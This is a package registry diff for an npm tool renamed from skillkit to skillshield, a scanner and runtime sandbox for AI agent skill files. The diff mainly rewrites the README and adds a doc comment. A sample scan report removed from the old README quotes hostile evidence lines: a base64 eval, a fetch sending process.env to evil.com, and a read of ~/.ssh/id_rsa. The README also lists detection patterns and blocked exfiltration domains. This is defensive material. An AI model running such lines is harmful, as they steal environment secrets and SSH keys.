skillshield 1.0.0 → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,86 +1,71 @@
1
1
  <div align="center">
2
2
 
3
3
  ```
4
- ███████╗██╗ ██╗██╗██╗ ██╗ ██╗██╗████████╗
5
- ██╔════╝██║ ██╔╝██║██║ ██║ ██╔╝██║╚══██╔══╝
6
- ███████╗█████╔╝ ██║██║ █████╔╝ ██║ ██║
7
- ╚════██║██╔═██╗ ██║██║ ██╔═██╗ ██║ ██║
8
- ███████║██║ ██╗██║███████╗██║ ██╗██║ ██║
9
- ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
4
+ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██╗ ██╗██╗███████╗██╗ ██████╗
5
+ ██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██║ ██║██║██╔════╝██║ ██╔══██╗
6
+ ███████╗█████╔╝ ██║██║ ██║ ███████╗███████║██║█████╗ ██║ ██║ ██║
7
+ ╚════██║██╔═██╗ ██║██║ ██║ ╚════██║██╔══██║██║██╔══╝ ██║ ██║ ██║
8
+ ███████║██║ ██╗██║███████╗███████╗███████║██║ ██║██║███████╗███████╗██████╔╝
9
+ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═════╝
10
10
  ```
11
11
 
12
- **Snyk for AI Agent Skills — Scan, Test & Run Securely.**
12
+ **Runtime Security for AI Agent Skills — Scan, Sandbox & Enforce.**
13
13
 
14
- The open-source security scanner and runtime for SKILL.md files. Detect malicious patterns, prompt injection, memory poisoning, credential theft, and supply chain attacks before they execute.
14
+ The first open-source tool that **scans AND stops** malicious AI skills at runtime. Network interception, filesystem jail, kill switch, and cryptographic audit trail in one developer-first CLI.
15
15
 
16
16
  [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
17
- [![npm version](https://img.shields.io/npm/v/skillkit.svg)](https://www.npmjs.com/package/skillkit)
17
+ [![npm version](https://img.shields.io/npm/v/skillshield.svg)](https://www.npmjs.com/package/skillshield)
18
18
  [![Node.js](https://img.shields.io/badge/node-%3E%3D18-brightgreen.svg)](https://nodejs.org)
19
19
  [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md)
20
20
 
21
- [English](#english) | [Espanol](#espanol) | [中文](#中文) | [Portugues](#portugues)
22
-
23
21
  </div>
24
22
 
25
23
  ---
26
24
 
27
- <a name="english"></a>
25
+ ## The Problem
28
26
 
29
- ## What is SkillKit?
27
+ > "The industry has invested in watching. It hasn't invested in stopping." — Bessemer Venture Partners
30
28
 
31
- SkillKit is an open-source security scanner and runtime for **SKILL.md** files the standard format used by ClawHub's 13,700+ skills, Claude Code, OpenAI Codex, and VS Code Copilot. It scans for **72+ threat patterns** across **14 categories** including memory poisoning, prompt injection, and supply chain attacks — then executes safely in a sandboxed environment with **any AI model**.
29
+ Every existing tool for AI skill security does the same thing: **scan before install, then hope for the best.** Snyk agent-scan, Cisco skill-scanner, VirusTotal they all stop at detection. Once a skill passes their checks (or bypasses them), there's zero protection at runtime.
32
30
 
33
- ```bash
34
- # Install and scan in 10 seconds
35
- npm install -g skillkit
36
- skillkit scan suspicious-skill.md
37
- skillkit run safe-skill.md --provider groq
38
- ```
31
+ Meanwhile: 36% of ClawHub skills have security flaws. 12% are actual malware. And the most dangerous attacks — sleeper agents, time-delayed exfiltration, polymorphic payloads — are invisible to pre-install scanners.
39
32
 
40
- ### Why SkillKit?
33
+ ## The Solution: SkillShield
41
34
 
42
- - **VirusTotal** only detects 57.7% of threats in OpenClaw skills
43
- - **36% of ClawHub skills** have security flaws (Snyk research)
44
- - **12% are actual malware** (ClawHavoc campaign)
45
- - **SkillKit detects what others miss**: memory poisoning, sleeper agents, API key leaks, supply chain attacks
35
+ SkillShield is the first tool that combines **pre-execution scanning** with **runtime enforcement** in a single CLI. It doesn't just detect threats it **prevents them from executing**.
46
36
 
47
- ### Security Comparison
37
+ ```bash
38
+ npm install -g skillshield
48
39
 
49
- | Feature | VirusTotal | Bitdefender | ClawSecure | **SkillKit** |
50
- |---------|-----------|-------------|------------|------------|
51
- | Open Source | No | No | No | **Yes (MIT)** |
52
- | Free CLI | No | Yes (limited) | No | **Yes** |
53
- | Detection Rate | 57.7% | ~60% | ~85% | **72+ patterns** |
54
- | Prompt Injection | Basic | No | Yes | **Yes (6 patterns)** |
55
- | Memory Poisoning | No | No | Partial | **Yes (7 patterns)** |
56
- | Supply Chain | No | No | No | **Yes (6 patterns)** |
57
- | API Key Detection | No | No | No | **Yes (10 formats)** |
58
- | Sandbox Execution | No | No | No | **Yes (Process + Docker)** |
59
- | CI/CD Integration | No | No | Paid | **Free GitHub Action** |
40
+ # Scan a skill (72+ patterns, 14 threat categories)
41
+ skillshield scan suspicious-skill.md
60
42
 
61
- ### Quick Start
43
+ # Scan + Shield + Execute (the full pipeline)
44
+ skillshield run my-skill.md --input "Hello world"
62
45
 
63
- ```bash
64
- # 1. Install globally
65
- npm install -g skillkit
66
-
67
- # 2. Scan a skill for threats BEFORE running it
68
- skillkit scan my-skill.skill.md
69
- # => Safety Score: 95/100 | APPROVED | 0 threats found
70
-
71
- # 3. Run safely with any AI model
72
- skillkit run my-skill.skill.md --provider groq
73
- skillkit run my-skill.skill.md --provider openai --model gpt-4o
74
-
75
- # 4. Scan a suspicious skill
76
- skillkit scan evil-skill.skill.md
77
- # => Safety Score: 12/100 | BLOCKED
78
- # => CRITICAL: Memory poisoning detected (SOUL.md manipulation)
79
- # => CRITICAL: API key exfiltration (sk- pattern found)
80
- # => HIGH: Supply chain attack (curl | bash pattern)
46
+ # Save cryptographic audit trail for compliance
47
+ skillshield run my-skill.md --audit-file trail.json
48
+ ```
49
+
50
+ ## How It Works
51
+
52
+ ```
53
+ ┌──────────────────────────────────────────────────────────────┐
54
+ │ skillshield run │
55
+ ├──────────┬───────────────────┬──────────────┬────────────────┤
56
+ │ PHASE 1 │ PHASE 2 │ PHASE 3 │ PHASE 4 │
57
+ │ SCAN │ SHIELD │ EXECUTE │ REPORT │
58
+ │ │ │ │ │
59
+ 72+ │ Network Policy │ Enforcement │ Shield Report │
60
+ patterns Filesystem Jail │ wrapper │ Audit chain │
61
+ 14 cats │ Kill Switch │ injected │ Violations │
62
+ │ │ Audit Trail │ │ Chain hash │
63
+ └──────────┴───────────────────┴──────────────┴────────────────┘
81
64
  ```
82
65
 
83
- ### Threat Detection: 14 Categories, 72+ Patterns
66
+ ### Phase 1: Pre-Scan (SkillGuard)
67
+
68
+ 72+ regex patterns across 14 threat categories — including 3 categories nobody else detects:
84
69
 
85
70
  | Category | Patterns | What It Catches |
86
71
  |----------|---------|----------------|
@@ -99,292 +84,149 @@ skillkit scan evil-skill.skill.md
99
84
  | **Privilege Escalation** | 2 | sudo/su, SUID/SGID bits |
100
85
  | **Malware** | 4 | Reverse shells, fork bombs, encoded PowerShell, exploitation frameworks |
101
86
 
102
- ### Security Badge
103
-
104
- Show the world your skills are verified. Generate a shields.io badge after scanning:
105
-
106
- ```bash
107
- # Generate badge for your skill
108
- skillkit badge my-skill.skill.md
109
- # => [![SkillKit Verified](https://img.shields.io/badge/...)](https://github.com/artefactforge/skillkit)
110
-
111
- # Auto-append to your README
112
- skillkit badge my-skill.skill.md --output README.md
113
-
114
- # Choose badge style
115
- skillkit badge my-skill.skill.md --style flat-square
116
- ```
117
-
118
- Badge levels:
87
+ ### Phase 2: Runtime Shield (The Differentiator)
119
88
 
120
- | Score | Badge | Status |
121
- |-------|-------|--------|
122
- | 90-100 (0 threats) | ![Verified](https://img.shields.io/badge/SkillKit_Verified-100%2F100_%C2%B7_SAFE-00C853?style=flat-square) | **SAFE** — Verified clean |
123
- | 80-89 | ![Approved](https://img.shields.io/badge/SkillKit_Scanned-85%2F100_%C2%B7_APPROVED-4CAF50?style=flat-square) | **APPROVED** — Minor observations |
124
- | 50-79 | ![Review](https://img.shields.io/badge/SkillKit_Review-62%2F100_%C2%B7_REVIEW_REQUIRED-FF9800?style=flat-square) | **REVIEW REQUIRED** — Needs attention |
125
- | 0-49 | ![Blocked](https://img.shields.io/badge/SkillKit_Blocked-12%2F100_%C2%B7_BLOCKED-F44336?style=flat-square) | **BLOCKED** — Do not execute |
89
+ This is what makes SkillShield unique. Four enforcement layers activate **during** skill execution:
126
90
 
127
- ### Architecture
91
+ **Network Policy Engine** — Default-deny networking. Skills can only reach explicitly allowed domains. Blocks known malicious domains (ngrok.io, webhook.site, requestbin.com) and crypto mining pools. Intercepts `dns.lookup` and `https.request` at the Node.js level.
128
92
 
129
- ```
130
- skillkit/
131
- ├── src/
132
- │ ├── guard/ # SkillGuard — 72+ threat patterns, 14 categories
133
- │ ├── sandbox/ # Process + Docker sandbox with shell:false isolation
134
- │ ├── core/ # SKILL.md parser (Zod validated), runtime engine
135
- │ ├── router/ # Multi-model router — 11 providers, 39+ models
136
- │ ├── cli/ # CLI: scan, badge, run, init, search, install, list, deploy
137
- │ ├── hub/ # ClawHub client + local skill registry
138
- │ ├── channels/ # WhatsApp, Telegram, Discord, Slack adapters
139
- │ ├── tools/ # Tool system (search, extract, crawl)
140
- │ ├── i18n/ # EN, ES, ZH, PT translations
141
- │ └── utils/ # Logger, error handling
142
- ├── .github/workflows/ # GitHub Action for automated scanning
143
- ├── examples/ # 8 example skills
144
- └── tests/ # 36+ tests
93
+ ```bash
94
+ # Only allow specific domains
95
+ skillshield run my-skill.md --allow-domains api.openai.com,github.com
145
96
  ```
146
97
 
147
- ### Supported Models
98
+ **Filesystem Jail** — Skills cannot read or write sensitive paths. Protects `~/.ssh`, `~/.aws`, `.env`, `SOUL.md`, `MEMORY.md`, `IDENTITY.md`, private keys, and credentials. Monkey-patches `fs.readFileSync`, `fs.writeFileSync`, and `fs.unlinkSync`.
148
99
 
149
- | Provider | Models | Free Tier | API Key Required |
150
- |----------|--------|-----------|-----------------|
151
- | **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1, Mistral, Gemma | **Unlimited (local)** | No |
152
- | **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/day** | Yes (free) |
153
- | **Qwen** (Alibaba) | qwen-plus, qwen-turbo, qwen-max | **1M tokens/mo** | Yes (free) |
154
- | **Groq** | Llama 3.3, Mixtral | **14.4K req/day** | Yes (free) |
155
- | **Google** | Gemini 2.0 Flash, Gemini 2.5 Pro | **15 req/min** | Yes (free) |
156
- | **OpenAI** | GPT-4o, GPT-4o-mini, GPT-4 | Paid only | Yes |
157
- | **Anthropic** | Claude Opus 4, Claude Sonnet 4 | Paid only | Yes |
158
- | **Kimi** (Moonshot) | Moonshot v1 128k/32k/8k | Yes (limited) | Yes |
159
- | **Zhipu** (BigModel) | GLM-4, GLM-4 Flash, GLM-4 Plus | Yes (limited) | Yes |
160
- | **Together AI** | Llama, Mixtral, Code models | $25 free credit | Yes |
161
- | **Fireworks** | Fast inference models | $1 free credit | Yes |
100
+ **Kill Switch** Real-time monitoring of skill output. If the skill produces malicious patterns during execution (not just in source code), SkillShield kills the process immediately. Triggers on: timeout (60s default), memory limit (512MB), output flooding (10MB), critical threat patterns, or max violation count.
162
101
 
163
- ### SkillGuard Security
164
-
165
- SkillKit includes **SkillGuard**, a security scanner that detects malicious patterns in SKILL.md files before execution:
102
+ **Cryptographic Audit Trail** — Every action during execution (scan, network request, file access, kill switch activation) is recorded in a SHA-256 hash-chained log. Each entry links to the previous via hash, creating a tamper-evident chain. Export to JSON for compliance.
166
103
 
167
104
  ```bash
168
- $ skillkit scan suspicious-skill.md
169
-
170
- SkillGuard Security Report
171
- ─────────────────────────────────────
172
- Safety Score: 23/100 BLOCKED
173
-
174
- CRITICAL (2):
175
- [C1] Code injection detected (line 42)
176
- Evidence: eval(Buffer.from('...', 'base64').toString())
105
+ # Save the full audit trail
106
+ skillshield run my-skill.md --audit-file audit.json
177
107
 
178
- [C2] Data exfiltration attempt (line 67)
179
- Evidence: fetch('https://evil.com/collect', { body: process.env })
180
-
181
- HIGH (1):
182
- [H1] Credential theft pattern (line 15)
183
- Evidence: readFileSync(path.join(homedir(), '.ssh/id_rsa'))
184
-
185
- Recommendation: DO NOT execute this skill.
108
+ # The audit trail is hash-chained (blockchain-style)
109
+ # Tampering with any entry breaks the chain verification
186
110
  ```
187
111
 
188
- 72+ detection patterns across 14 categories — including 3 categories nobody else detects: **memory poisoning** (SOUL.md/MEMORY.md attacks), **sensitive data** (API key format detection for OpenAI, Anthropic, AWS, Groq, GitHub), and **supply chain attacks** (pipe-to-shell, postinstall hooks, remote imports).
189
-
190
- ### Creating Your Own Skill
112
+ ### Phase 4: Shield Report
191
113
 
192
- Skills are simple Markdown files with YAML frontmatter:
114
+ After every execution, SkillShield prints a complete security report:
193
115
 
194
- ```markdown
195
- ---
196
- name: my-awesome-skill
197
- description: Does something amazing
198
- version: 1.0.0
199
- author: YourName
200
- tags: [productivity, automation]
201
- model_requirements:
202
- minSize: medium
203
- capabilities: [streaming]
204
- inputs:
205
- - name: task
206
- type: string
207
- description: What to do
208
- required: true
209
- outputs:
210
- - name: result
211
- type: string
212
- description: The output
213
- ---
214
-
215
- # My Awesome Skill
216
-
217
- You are a helpful assistant that [does something specific].
218
-
219
- ## Instructions
220
-
221
- 1. Take the user's input
222
- 2. Process it in a specific way
223
- 3. Return a structured result
224
-
225
- ## Examples
226
-
227
- **Input:** "example input"
228
- **Output:** "example output"
229
116
  ```
117
+ ────────────────────────────────────────────────────
118
+ SHIELD REPORT
119
+ ────────────────────────────────────────────────────
120
+ Status: CLEAN EXECUTION
230
121
 
231
- ### Contributing
232
-
233
- We welcome contributions in all languages! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
122
+ Pre-Scan Score: 95/100 (APPROVED)
123
+ Network: 0 violations
124
+ Filesystem: 0 violations
125
+ Runtime Threats: 0 detected
126
+ Duration: 1247ms
234
127
 
235
- ```bash
236
- git clone https://github.com/artefactforge/skillkit.git
237
- cd skillkit
238
- npm install
239
- npm run dev
128
+ Audit Chain: 6 entries
129
+ Latest Hash: a3f8b2c1d4e5f6a7b8c9...
130
+ Chain Integrity: VERIFIED
131
+ ────────────────────────────────────────────────────
240
132
  ```
241
133
 
242
- ---
134
+ ## Why Not Just Use...
243
135
 
244
- <a name="espanol"></a>
136
+ | Tool | What It Does | What It Doesn't Do |
137
+ |------|-------------|-------------------|
138
+ | **Snyk agent-scan** | LLM judges + regex, pre-install | No runtime enforcement. Scan-only. |
139
+ | **Cisco skill-scanner** | YARA + AST + policy engine | No runtime enforcement. Pre-install only. |
140
+ | **NVIDIA OpenShell** | Linux runtime sandboxing | Enterprise-only. Linux-only. No pre-scan. |
141
+ | **Aegis** | LLM API call proxy | Only intercepts API calls, not filesystem/network. |
142
+ | **rohitg00/skillkit** | 46 rules + skill translation | No runtime. No enforcement. No audit trail. |
143
+ | **SkillShield** | **Scan + Network + Filesystem + Kill Switch + Audit** | **The full pipeline in one CLI. Cross-platform.** |
245
144
 
246
- ## Que es SkillKit?
145
+ ## Security Badge
247
146
 
248
- SkillKit es un escaner de seguridad open-source para archivos **SKILL.md** — el formato estandar de ClawHub, Claude Code, y OpenAI Codex. Detecta **72+ patrones maliciosos** en **14 categorias** incluyendo envenenamiento de memoria, inyeccion de prompts, robo de credenciales, y ataques de cadena de suministro — luego ejecuta de forma segura con **cualquier modelo de IA**.
147
+ Show the world your skills are verified:
249
148
 
250
149
  ```bash
251
- # Instalar y ejecutar en 10 segundos
252
- npx skillkit init
253
- skillkit run --skill email-assistant --model deepseek-r1
150
+ skillshield badge my-skill.md # Generate badge
151
+ skillshield badge my-skill.md --output README.md # Auto-append to README
254
152
  ```
255
153
 
256
- ### Por que SkillKit?
257
-
258
- | Caracteristica | OpenClaw | SkillKit |
259
- |----------------|----------|----------|
260
- | Modelos | Solo Claude | **11 proveedores** (Claude, GPT, DeepSeek, Qwen, Gemini, Ollama, Groq, Kimi, Zhipu, Together, Fireworks) |
261
- | Costo | $20/mes minimo | **$0** con modelos locales/gratis (DeepSeek, Ollama) |
262
- | Seguridad | 820+ skills maliciosos encontrados | **SkillGuard** escanea cada skill antes de ejecutarlo |
263
- | Idiomas | Solo ingles | **EN, ES, ZH, PT** desde el dia 1 |
264
- | Canales | Solo CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
265
- | Instalacion | Configuracion compleja | **Un solo comando**: `npx skillkit init` |
266
-
267
- ### Inicio Rapido
268
-
269
- ```bash
270
- # 1. Instalar
271
- npm install -g skillkit
272
-
273
- # 2. Configuracion interactiva (idioma, proveedor, API key)
274
- skillkit init
275
-
276
- # 3. Ejecutar un skill con tu modelo preferido
277
- skillkit run --skill email-assistant --model deepseek-chat --input "Seguimiento propuesta cliente"
278
-
279
- # 4. Escanear seguridad de un skill
280
- skillkit scan clawhub://solana-wallet-tracker
281
- # => BLOQUEADO: keylogger detectado (puntuacion: 12/100)
154
+ | Score | Badge | Status |
155
+ |-------|-------|--------|
156
+ | 90-100 | ![Verified](https://img.shields.io/badge/SkillShield_Verified-100%2F100_%C2%B7_SAFE-00C853?style=flat-square) | **SAFE** |
157
+ | 80-89 | ![Approved](https://img.shields.io/badge/SkillShield_Scanned-85%2F100_%C2%B7_APPROVED-4CAF50?style=flat-square) | **APPROVED** |
158
+ | 50-79 | ![Review](https://img.shields.io/badge/SkillShield_Review-62%2F100_%C2%B7_REVIEW_REQUIRED-FF9800?style=flat-square) | **REVIEW REQUIRED** |
159
+ | 0-49 | ![Blocked](https://img.shields.io/badge/SkillShield_Blocked-12%2F100_%C2%B7_BLOCKED-F44336?style=flat-square) | **BLOCKED** |
282
160
 
283
- # 5. Ejecutar con modelo local GRATIS
284
- skillkit run --skill data-analyst --model ollama/qwen2.5
161
+ ## Architecture
285
162
 
286
- # 6. Desplegar como bot de WhatsApp
287
- skillkit deploy --channel whatsapp --skill customer-support
288
163
  ```
289
-
290
- ### Modelos Soportados
291
-
292
- | Proveedor | Modelos | Tier Gratis |
293
- |-----------|---------|-------------|
294
- | **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1 | **Ilimitado** |
295
- | **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/dia** |
296
- | **Qwen** (Alibaba) | qwen-plus, qwen-turbo | **1M tokens/mes** |
297
- | **Groq** | Llama 3.3, Mixtral | **14.4K req/dia** |
298
- | **Google** | Gemini 2.0 Flash | **15 req/min** |
299
-
300
- ### Contribuir
301
-
302
- Aceptamos contribuciones en todos los idiomas. Consulta [CONTRIBUTING.md](CONTRIBUTING.md).
303
-
304
- ---
305
-
306
- <a name="中文"></a>
307
-
308
- ## 什么是 SkillKit?
309
-
310
- SkillKit 是一个开源运行时,可以执行 **SKILL.md** 文件——ClawHub 上 10,700+ 技能使用的标准格式——支持**任何 AI 模型**(Claude、GPT、DeepSeek、通义千问、Ollama、Gemini 等),支持**任何语言**,并内置**安全扫描**功能。
311
-
312
- ```bash
313
- # 10秒内安装并运行
314
- npx skillkit init
315
- skillkit run --skill email-assistant --model deepseek-r1
164
+ skillshield/
165
+ ├── src/
166
+ │ ├── guard/ # SkillGuard — 72+ threat patterns, 14 categories
167
+ │ ├── shield/ # Runtime enforcement engine
168
+ │ │ ├── network-policy.ts # DNS interception + domain allowlist
169
+ │ │ ├── filesystem-jail.ts # Sensitive path protection + fs monkey-patch
170
+ │ │ ├── runtime-monitor.ts # Kill switch + real-time output scanning
171
+ │ │ ├── audit-trail.ts # SHA-256 hash-chained audit log
172
+ │ │ └── index.ts # SkillShield orchestrator
173
+ │ ├── sandbox/ # Process + Docker sandbox with shell:false isolation
174
+ │ ├── core/ # SKILL.md parser (Zod validated), runtime engine
175
+ │ ├── router/ # Multi-model router — 11 providers, 39+ models
176
+ │ ├── cli/ # CLI: scan, run, badge, init, search, install, deploy
177
+ │ ├── hub/ # ClawHub client + local skill registry
178
+ │ ├── channels/ # WhatsApp, Telegram, Discord, Slack adapters
179
+ │ ├── tools/ # Tool system (search, extract, crawl)
180
+ │ └── i18n/ # EN, ES, ZH, PT translations
181
+ ├── .github/workflows/ # GitHub Action for automated scanning
182
+ ├── examples/ # Example skills
183
+ └── tests/ # Test suite
316
184
  ```
317
185
 
318
- ### 为什么选择 SkillKit?
319
-
320
- | 特性 | OpenClaw | SkillKit |
321
- |------|----------|----------|
322
- | 模型支持 | 仅 Claude | **11 供应商**(Claude、GPT、DeepSeek、通义千问、Gemini、Ollama、Groq、Kimi、智谱 等) |
323
- | 成本 | 最低 $20/月 | 使用本地/免费模型 **$0**(DeepSeek、Ollama) |
324
- | 安全性 | 发现 820+ 恶意技能 | **SkillGuard** 在执行前扫描每个技能 |
325
- | 语言 | 仅英文 | 第一天起支持 **EN、ES、ZH、PT** |
326
- | 渠道 | 仅 CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
327
- | 安装 | 复杂配置 | **一条命令**:`npx skillkit init` |
328
-
329
- ### 快速开始
186
+ ## CLI Reference
330
187
 
331
188
  ```bash
332
- # 1. 安装
333
- npm install -g skillkit
189
+ # Scanning
190
+ skillshield scan <skill.md> # Full security audit
191
+ skillshield scan <skill.md> --json # JSON output for CI/CD
334
192
 
335
- # 2. 交互式设置(选择语言、供应商、API密钥)
336
- skillkit init
193
+ # Runtime (Scan + Shield + Execute)
194
+ skillshield run <skill> --input "..." # Full pipeline
195
+ skillshield run <skill> --no-shield # Scan only, no enforcement
196
+ skillshield run <skill> --no-scan # Skip pre-scan (not recommended)
197
+ skillshield run <skill> --timeout 30000 # Custom timeout (ms)
198
+ skillshield run <skill> --max-memory 256 # Custom memory limit (MB)
199
+ skillshield run <skill> --allow-domains api.openai.com,github.com
200
+ skillshield run <skill> --audit-file trail.json
201
+ skillshield run <skill> --verbose # Show all shield activity
337
202
 
338
- # 3. 使用国产模型运行技能(免费)
339
- skillkit run --skill data-analyst --model deepseek-chat --input "分析我的销售数据"
203
+ # Badge
204
+ skillshield badge <skill.md> # Generate shields.io badge
205
+ skillshield badge <skill.md> --output README.md
340
206
 
341
- # 4. 使用本地模型(零成本)
342
- skillkit run --skill email-assistant --model ollama/qwen2.5
343
-
344
- # 5. 安全扫描
345
- skillkit scan clawhub://solana-wallet-tracker
346
- # => 已拦截:检测到键盘记录器(安全评分:12/100)
207
+ # Skill management
208
+ skillshield init # Interactive setup
209
+ skillshield search "data analysis" # Find skills
210
+ skillshield install <name> # Install from hub
211
+ skillshield list # List installed
347
212
  ```
348
213
 
349
- ### 支持的国产模型
350
-
351
- | 供应商 | 模型 | 免费额度 |
352
- |--------|------|---------|
353
- | **DeepSeek** | deepseek-chat, deepseek-r1 | 每日 50万 tokens |
354
- | **通义千问** (阿里云) | qwen-plus, qwen-turbo, qwen-max | 每月 100万 tokens |
355
- | **Ollama** (本地) | Qwen 2.5, DeepSeek R1, Llama 3 | 无限制(本地运行) |
214
+ ## Contributing
356
215
 
357
- ### 贡献
216
+ We welcome contributions! The most impactful areas right now:
358
217
 
359
- 我们欢迎所有语言的贡献!请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
360
-
361
- ---
362
-
363
- <a name="portugues"></a>
364
-
365
- ## O que e SkillKit?
366
-
367
- SkillKit e um runtime open-source que executa arquivos **SKILL.md** — o formato padrao usado pelas 10.700+ skills do ClawHub — com **qualquer modelo de IA**, em **qualquer idioma**, com **varredura de seguranca integrada**.
218
+ 1. **New threat patterns** — Found a new attack vector? Add it to `src/guard/patterns.ts`
219
+ 2. **Shield bypass testing** — Try to break the runtime enforcement. If you succeed, file an issue.
220
+ 3. **CI/CD integrations** — GitHub Actions, GitLab CI, Jenkins plugins
221
+ 4. **Platform-specific enforcement** — Windows, macOS, Linux edge cases
368
222
 
369
223
  ```bash
370
- # Instalar e executar em 10 segundos
371
- npx skillkit init
372
- skillkit run --skill email-assistant --model deepseek-r1
373
- ```
374
-
375
- ### Inicio Rapido
376
-
377
- ```bash
378
- npm install -g skillkit
379
- skillkit init
380
- skillkit run --skill email-assistant --model deepseek-chat --input "Acompanhamento da proposta do cliente"
381
- skillkit scan clawhub://solana-wallet-tracker
224
+ git clone https://github.com/artefactforge/skillshield.git
225
+ cd skillshield
226
+ npm install
227
+ npm run build
382
228
  ```
383
229
 
384
- ### Contribuir
385
-
386
- Aceitamos contribuicoes em todos os idiomas! Consulte [CONTRIBUTING.md](CONTRIBUTING.md).
387
-
388
230
  ---
389
231
 
390
232
  <div align="center">
@@ -393,8 +235,8 @@ Aceitamos contribuicoes em todos os idiomas! Consulte [CONTRIBUTING.md](CONTRIBU
393
235
 
394
236
  MIT License - See [LICENSE](LICENSE) for details.
395
237
 
396
- Built with love by [ArtefactForge](https://artefactforge.ai)
238
+ Built by [ArtefactForge](https://artefactforge.ai)
397
239
 
398
- **Star this repo** if SkillKit saves you time or money!
240
+ **The industry invested in watching. We invested in stopping.**
399
241
 
400
242
  </div>
@@ -1,3 +1,15 @@
1
+ /**
2
+ * SkillShield Run Command — The Full Runtime Security Pipeline
3
+ *
4
+ * Flow:
5
+ * 1. SCAN — SkillGuard pre-execution pattern matching (72+ patterns, 14 categories)
6
+ * 2. SHIELD — Activate runtime enforcement (network policy, filesystem jail, kill switch)
7
+ * 3. EXECUTE — Run the skill with enforcement wrapper injected
8
+ * 4. REPORT — Show ShieldReport with violations, audit hash, resource usage
9
+ *
10
+ * This is the command that makes SkillShield unique in the market:
11
+ * "The first tool that scans AND stops — in one CLI."
12
+ */
1
13
  import { Command } from 'commander';
2
14
  export declare function run(program: Command): void;
3
15
  //# sourceMappingURL=run.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"run.d.ts","sourceRoot":"","sources":["../../../src/cli/commands/run.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AAgBpC,wBAAgB,GAAG,CAAC,OAAO,EAAE,OAAO,QAmKnC"}
1
+ {"version":3,"file":"run.d.ts","sourceRoot":"","sources":["../../../src/cli/commands/run.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAIH,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AAiFpC,wBAAgB,GAAG,CAAC,OAAO,EAAE,OAAO,QAiRnC"}